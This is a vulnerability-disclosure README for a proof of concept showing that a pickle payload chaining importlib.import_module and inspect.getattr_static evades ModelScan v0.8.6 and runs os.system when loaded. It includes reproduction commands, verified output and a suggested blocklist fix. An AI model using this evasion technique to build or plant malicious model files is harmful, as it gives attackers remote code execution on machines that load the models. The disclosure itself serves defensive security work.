ModelScan v0.8.6 Pickle Scanner Bypass β Proof of Concept
This repository hosts a proof-of-concept malicious model file that bypasses ModelScan v0.8.6 (latest, by Protect AI), disclosed via huntr.com.
Research artifact only. Do not load
exploit.pkl/exploit.ptoutside an isolated sandbox β they executeos.system(<cmd>)on load. The default command is harmless (id), but the chain produces full Remote Code Execution.
Vulnerability
ModelScan classifies builtins.__import__ as CRITICAL, demonstrating clear intent to
block dynamic imports. However, two functionally-equivalent globals are absent from its
unsafe_globals blocklist:
importlib.import_moduleβ imports any module (including the blockedos/subprocess)inspect.getattr_staticβ resolves any attribute (an unblocked equivalent of the already-blockedbuiltins.getattr)
Chaining these two reconstructs os.system from globals ModelScan considers safe, then
invokes it via the pickle REDUCE opcode β yielding RCE on pickle.load / torch.load
while ModelScan reports "No issues found".
Files
| File | Size | Purpose |
|---|---|---|
exploit.pkl |
144 B | Raw pickle that bypasses ModelScan and runs os.system("id") on load |
exploit.pt |
274 B | PyTorch-style zip wrapper around the same pickle (also bypasses) |
modelscan_bypass.py |
β | Builder script β recreate the artifacts with any command |
Reproduction
python3 -m venv venv && . venv/bin/activate
pip install modelscan==0.8.6
# rebuild with a custom command if you wish
python3 modelscan_bypass.py "id > /tmp/proof"
# 1) ModelScan reports clean
modelscan -p exploit.pkl
modelscan -p exploit.pt
# 2) Loading executes the command (RCE)
python3 -c "import pickle; pickle.loads(open('exploit.pkl','rb').read())"
cat /tmp/proof
Verified Output
$ modelscan -p exploit.pkl
Scanning .../exploit.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
$ modelscan -p exploit.pt
Scanning .../exploit.pt:archive/data.pkl using modelscan.scanners.PickleUnsafeOpScan model scan
--- Summary ---
No issues found! π
$ python3 -c "import pickle; pickle.loads(open('exploit.pkl','rb').read())"
uid=503(...) gid=20(staff) groups=20(staff),...
Suggested Fix
Add the missing modules to unsafe_globals["CRITICAL"] in modelscan/settings.py:
"importlib": ["import_module", "__import__"],
"inspect": ["getattr_static", "getmembers_static"],
Attribution
Reported via huntr.com by wulonchia-pro.